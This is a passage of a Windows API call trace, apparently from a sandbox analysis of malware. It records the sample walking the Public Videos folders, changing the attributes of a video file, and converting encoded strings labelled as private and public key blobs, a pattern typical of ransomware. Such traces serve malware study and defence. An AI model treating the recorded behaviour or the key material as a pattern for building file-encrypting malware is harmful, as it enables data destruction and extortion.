pszPath="C:\\Users\\Public\\Videos") returned 1 [0089.161] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos" (normalized: "c:\\users\\public\\videos")) returned 0x11 [0089.161] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x18fb04, csidl=55, fCreate=0 | out: pszPath="C:\\Users\\Public\\Videos") returned 1 [0089.161] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0089.161] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0089.162] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0089.162] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 0 [0089.162] GetLastError () returned 0x12 [0089.162] FindClose (in: hFindFile=0x6aa000 | out: hFindFile=0x6aa000) returned 1 [0089.162] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\*.*", lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName=".", cAlternateFileName="")) returned 0x6aa000 [0089.162] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa1c | out: lpLocalFileTime=0x18fa1c) returned 1 [0089.162] FileTimeToDosDateTime (in: lpFileTime=0x18fa1c, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="..", cAlternateFileName="")) returned 1 [0089.162] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.163] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa32b602a, dwReserved1=0xba1113e9, cFileName="Sample Videos", cAlternateFileName="SAMPLE~1")) returned 1 [0089.163] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.163] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.163] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0089.163] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x802f4656, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0089.163] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0089.163] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0089.164] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.164] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Wildlife.wmv", cAlternateFileName="")) returned 1 [0089.164] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0089.164] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.164] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a)) returned 1 [0089.164] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv")) returned 0x20 [0089.164] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv", dwFileAttributes=0x80) returned 1 [0089.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0089.167] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0089.168] GetCurrentThreadId () returned 0xa30 [0089.168] GetCurrentThreadId () returned 0xa30 [0089.168] GetCurrentThreadId () returned 0xa30 [0089.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0089.169] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, 